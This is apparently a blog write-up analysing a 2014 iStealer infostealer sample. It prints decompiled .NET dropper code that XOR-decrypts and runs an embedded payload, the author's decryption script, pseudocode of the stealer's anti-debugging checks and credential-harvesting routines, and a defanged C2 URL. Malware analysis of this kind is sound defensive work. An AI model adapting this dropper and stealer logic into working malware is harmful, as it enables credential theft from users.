Analyzing an iStealer Variant from 2014
Hello, today I’m sharing an analysis of an old infostealer from a VirusShare archive sample which I found on the internet. The origin hash sample was:
VirusShare_0000e453688117178b797bf3a99013fc Hash: 0000e453688117178b797bf3a99013fc
So let’s get into it! First of all, the full writeup of the analysis can be found on my GitHub over here
After much work, it seams that this was a variant of the RiskWare/iStealer infostealer. For those who don’t know, an infostealer is a type of malware which is used to steal information from a computer. Things like browser caches, browser credentials, logins, and other juicy data. Which the infostealer in here totally does. But first to get to the infostealer, we have to venture from the original sample.
Determining the Signature
First the file was analyzed with Detect it Easy and revealed that the file was a .NET binary. First I extracted some strings from the binary; and then I loaded it into DotNetSpy, which is a common .NET reverse engineering program.
DIE Detection Details
Compiler: VB.NET Operation system: Windows(95)[I386, 32-bit, GUI] Library: .NET Framework(Legacy, CLR v2.0.50727) Debug data: PDB file link(7.0)
Interesting Strings in the .NET File
' __ __ __ .__ __. __ ___ ______ ______ _______ _______ _______ .______ ____ ____ ' | | | | | | | \ | | | |/ / / | / __ \ | \ | ____|| \ | _ \ \ \ / / ' | | | | | | | \| | | ' / | ,----'| | | | | .--. || |__ | .--. | | |_) | \ \/ / '.--. | | | | | | | . ` | | < | | | | | | | | | || __| | | | | | _ < \_ _/ '| `--' | | `--' | | |\ | | . \ | `----.| `--' | | '--' || |____ | '--' | | |_) | | | ' \______/ \______/ |__| \__| |__|\__\ \______| \______/ |_______/ |_______||_______/ |______/ |__| ' ' ' __ ___ __ __ ___ .______ __ _______. __ __ .__ __. ___ ___ ' | | / \ | | | |/ / | _ \ | | / || | | | | \ | | / \ \ \ ' | | / ^ \ | | | ' / | |_) | | | | (----`| |__| | | \| | / ^ \ \ \ ______ ' .--. | | / /_\ \ | | | < | / | | \ \ | __ | | . ` | / /_\ \ \ \ |______| ' | `--' | / _____ \ | | | . \ | |\ \----.| | .----) | | | | | | |\ | / _____ \ \ \ ' \______/ /__/ \__\ |__| |__|\__\ | _| `._____||__| |_______/ |__| |__| |__| \__| /__/ \__\ \__\ Antivirus System Tray Tool avgnt.exe AntiVir Desktop
DNSpy Details, Juicy function, the dropper
After going through some of the .NET code, I found an interesting call to a dropper function which loaded the resource called “69_GAY”, and in there was the infostealer.
// Token: 0x06000027 RID: 39 RVA: 0x00005800 File Offset: 0x00003C00 public static void Main() { string moduleName = Process.GetCurrentProcess().MainModule.ModuleName; IntPtr moduleHandle = Module1.GetModuleHandle(ref moduleName); IntPtr intPtr = Module1.FindResource(moduleHandle, "69", "GAY"); IntPtr intPtr2 = Module1.LoadResource(moduleHandle, intPtr); int num = Module1.SizeofResource(moduleHandle, intPtr); checked { byte[] array = new byte[num - 1 + 1]; Marshal.Copy(intPtr2, array, 0, num); int num2 = BitConverter.ToInt32(array, array.Length - 4); array = (byte[])Utils.CopyArray((Array)array, new byte[array.Length - 3 + 1]); Random random = new Random(num2); byte[] array2 = new byte[array.Length - 1 + 1]; random.NextBytes(array2); int num3 = 0; int num4 = array.Length - 1; for (int i = num3; i <= num4; i++) { array[i] ^= array2[i]; } x86.RunPE(array, Process.GetCurrentProcess().MainModule.FileName); } }
So then I crafted some C# code to decrypt the payload from that specific resource, and then started to do analysis on the extracted payload which was encrypted with a simple XOR encryption.
using System; using System.IO; using System.Linq; class Program { static void Main() { string inputPath = "69_GAY.bin"; string outputPath = "decrypted_payload.exe"; if (!File.Exists(inputPath)) { Console.WriteLine("File not found: " + inputPath); return; } byte[] fileBytes = File.ReadAllBytes(inputPath); if (fileBytes.Length < 4) { Console.WriteLine("File too small to contain seed."); return; } // Extract seed from the last 4 bytes int seed = BitConverter.ToInt32(fileBytes, fileBytes.Length - 4); // Extract payload (everything except the last 4 bytes) byte[] payload = new byte[fileBytes.Length - 4]; Array.Copy(fileBytes, payload, payload.Length); // Generate PRNG key stream Random rng = new Random(seed); byte[] xorKey = new byte[payload.Length]; rng.NextBytes(xorKey); // Decrypt payload for (int i = 0; i < payload.Length; i++) payload[i] ^= xorKey[i]; // Write output File.WriteAllBytes(outputPath, payload); Console.WriteLine("Decrypted payload written to: " + outputPath); } }
Decrypted Payload from 69_GAY.bin
Operation system: Windows(95)[I386, 32-bit, GUI] Linker: Microsoft Linker(5.12.8034) Compiler: Microsoft Visual C/C++(12.00.8168)[C] Language: C
Analyzing the C binary
Within WinMain, which was called after start, I went straight for the infostealer main part. I noticed that it went for a binary resource that was at the marker 0xA, and then noticed that in a specific sub call that there was this decryption code. Again with the custom XOR encryption.
sub_402022(byte_4556B6); char *__cdecl sub_402022(char *Str) { size_t i; // esi for ( i = 0; i < strlen(Str); ++i ) Str[i] ^= i % 5 + 1; return Str; }
After crafting this back into a script I can use with Python. I started going through the various calls and labeling everything. After loading the bin file from 0xA, I found the C2 domain which appeared to be in Romania. Also, the domain after inspecting in Robtex DNS, appeared to belong to a hosting company which was hosting a variety of other questionable sites. Interesting how the site was still live even today.
hxxp[:]//www[.]istealerlegends.hi2[.]ro/index.php
Later I realized that the code had some antidebugging, which I took from the IDA pseudocode and then relabeled like so:
FreeResource(copy_of_encrypted_c2_domain_name); if ( (!encrypted_c2_domain_str_buffer_memory || !anti_debugger_check_realtime_clock()) && (!zero_byte_001 || !if_debug_flags_enabled()) && (!zero_byte_002 || !is_procmon_running()) && (!zero_byte_003 || !is_gdkWindowTopLevel_showing())
But eventually I went into the full WinMain and all subcalls and determined that the code looked more or less like this:
int __stdcall WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, int nShowCmd) { HRSRC encrypted_c2_domain_bin_resource; // eax HRSRC copy_of_encrypted_c2_domain_name; // esi HGLOBAL encrypted_c2_domain_resource_string; // eax HRSRC ResourceA; // eax HRSRC v8; // esi HGLOBAL Resource; // eax FILE *v10; // eax FILE *v11; // edi BYTE reg_value_local_app_data[260]; // [esp+Ch] [ebp-5CCh] BYREF BYTE reg_value_program_files[260]; // [esp+110h] [ebp-4C8h] BYREF BYTE reg_value_local_machine_app_data[260]; // [esp+214h] [ebp-3C4h] BYREF CHAR File[260]; // [esp+318h] [ebp-2C0h] BYREF char reg_value_roaming_app_data[260]; // [esp+41Ch] [ebp-1BCh] BYREF CHAR REG_WINDOWS_CURRENT_VERSION[44]; // [esp+520h] [ebp-B8h] BYREF CHAR REG_EXPLORER_SHELL_FOLDERS[68]; // [esp+54Ch] [ebp-8Ch] BYREF int programFilesDir; // [esp+590h] [ebp-48h] BYREF char v21[16]; // [esp+594h] [ebp-44h] BYREF int commonAppData; // [esp+5A4h] [ebp-34h] BYREF char v23[12]; // [esp+5A8h] [ebp-30h] BYREF int localAppData; // [esp+5B4h] [ebp-24h] BYREF char v25[12]; // [esp+5B8h] [ebp-20h] BYREF int appData; // [esp+5C4h] [ebp-14h] BYREF char v27[8]; // [esp+5C8h] [ebp-10h] BYREF size_t ElementSize; // [esp+5D0h] [ebp-8h] void *encrypted_c2_domain_str_buffer; // [esp+5D4h] [ebp-4h] qmemcpy(REG_WINDOWS_CURRENT_VERSION, &WINDOWS_VERSION, 0x2Bu); programFilesDir = PROGRAM_FILES_DIR; strcpy(v21, "cw`oEmidqGmw"); qmemcpy(REG_EXPLORER_SHELL_FOLDERS, &EXPLORER_SHELL_FOLDERS, 0x42u); commonAppData = COMMON_APP_DATA; strcpy(v23, "ijo\"BtuEcwe"); appData = APP_DATA; strcpy(v27, "@duc"); localAppData = LOCAL_APP_DATA; strcpy(v25, "ei!CstA`vb"); decrypt_string_001(REG_WINDOWS_CURRENT_VERSION); decrypt_string_001((char *)&programFilesDir); decrypt_string_001(REG_EXPLORER_SHELL_FOLDERS); decrypt_string_001((char *)&commonAppData); decrypt_string_001((char *)&appData); decrypt_string_001((char *)&localAppData); encrypted_c2_domain_bin_resource = FindResourceA(0, Name, (LPCSTR)0xA); copy_of_encrypted_c2_domain_name = encrypted_c2_domain_bin_resource; if ( encrypted_c2_domain_bin_resource ) { encrypted_c2_domain_resource_string = LoadResource(0, encrypted_c2_domain_bin_resource); encrypted_c2_domain_str_buffer = LockResource(encrypted_c2_domain_resource_string); if ( encrypted_c2_domain_str_buffer ) { if ( SizeofResource(0, copy_of_encrypted_c2_domain_name) == 174 ) { memcpy(&encrypted_c2_domain_str_buffer_memory, encrypted_c2_domain_str_buffer, 0xADu); FreeResource(copy_of_encrypted_c2_domain_name); if ( (!encrypted_c2_domain_str_buffer_memory || !anti_debugger_check_realtime_clock()) && (!zero_byte_001 || !if_debug_flags_enabled()) && (!zero_byte_002 || !is_procmon_running()) && (!zero_byte_003 || !is_gdkWindowTopLevel_showing()) && GetRegistryKey( HKEY_LOCAL_MACHINE, REG_WINDOWS_CURRENT_VERSION, (LPCSTR)&programFilesDir, reg_value_program_files) && GetRegistryKey( HKEY_LOCAL_MACHINE, REG_EXPLORER_SHELL_FOLDERS, (LPCSTR)&commonAppData, reg_value_local_machine_app_data) && GetRegistryKey( HKEY_CURRENT_USER, REG_EXPLORER_SHELL_FOLDERS, (LPCSTR)&appData, (LPBYTE)reg_value_roaming_app_data) && GetRegistryKey( HKEY_CURRENT_USER, REG_EXPLORER_SHELL_FOLDERS, (LPCSTR)&localAppData, reg_value_local_app_data) ) { decrypt_string_002(encrypted_c2_mmdf_contents_0x16_offset); if ( byte_45571A ) { decrypt_string_002(byte_45571B); strcpy(File, reg_value_roaming_app_data); strcat(File, backslash); strcat(File, byte_45571B); ResourceA = FindResourceA(0, a2, (LPCSTR)0xA); v8 = ResourceA; if ( !ResourceA ) return 0; Resource = LoadResource(0, ResourceA); encrypted_c2_domain_str_buffer = LockResource(Resource); if ( !encrypted_c2_domain_str_buffer ) return 0; ElementSize = SizeofResource(0, v8); v10 = fopen(File, aWb); v11 = v10; if ( !v10 ) return 0; fwrite(encrypted_c2_domain_str_buffer, ElementSize, 1u, v10); fclose(v11); FreeResource(v8); ShellExecuteA(0, Operation, File, 0, 0, 1); } CryptProcessBootstrap(); if ( zero_byte_005 ) STEALER_Enum_Passport_NET(); if ( zero_byte_006 ) STEALER_Enum_Google_Talk(); if ( zero_byte_007 ) STEALER_Enum_Trillian((char *)reg_value_program_files); if ( zero_byte_008 ) STEALER_Enum_Pidgin_and_Purple(reg_value_roaming_app_data); if ( zero_byte_009 ) STEALER_Enum_Paltalk(); if ( zero_byte_00A ) STEALER_Get_Steam_Info(); if ( zero_byte_00B ) STEALER_VitalWerks_info(); if ( zero_byte_00C ) STEALER_DynDNS((char *)reg_value_local_machine_app_data); if ( zero_byte_00D ) STEALER_Get_Firefox_info(reg_value_roaming_app_data); if ( zero_byte_00E ) STEALER_Get_MSIE_Cache(); if ( zero_byte_00F ) STEALER_Get_Chrome_Info(reg_value_roaming_app_data, (char *)reg_value_local_app_data); if ( zero_byte_010 ) STEALER_Opera_Get_data(reg_value_roaming_app_data); if ( zero_byte_011 ) STEALER_Get_DownloadManager_Password(); if ( zero_byte_012 ) STEALER_Finish_Tag_Closures(reg_value_roaming_app_data); if ( zero_byte_013 ) STEALER_Authenticate_DB((char *)reg_value_local_machine_app_data); if ( zero_byte_014 ) STEALER_SmartFTP_Get_Credentials(reg_value_roaming_app_data); if ( zero_byte_015 ) STEALER_Get_CuteFTP_Info(reg_value_roaming_app_data); STEALER_Free_hLib_and_crypt32(); if ( zero_byte_004 ) STEALER_Shell_Execute_and_Delete(); exit_2(0); } } } } return 0; }
Summary
As we can see, the code goes after the following programs:
- .NET Passport
- Google Talk Credentials
- Trillian Accounts and Credentials
- Pidgin Accounts and Credentials
- Paltalk Login
- Steam Credentials
- VitalWerks Data
- DynDNS Information
- FlashFXP Sites Data
- Firefox Caches
- MSIE Caches
- Opera Caches
- DownloadManager Credentials
- SmartFTP Sites and Credentials and Favorite Sites
- CuteFTP Pro, Lite, and Home Credentials and Favorite Sites
Also, this program made use of the SQLite 3 database library. And after analyzing the targeted strings for the Firefox versions, I determined that this sample was from around the time of 2014 or so. But anyway, I uploaded it into VirusTotal, where you can see that the details were confirmed..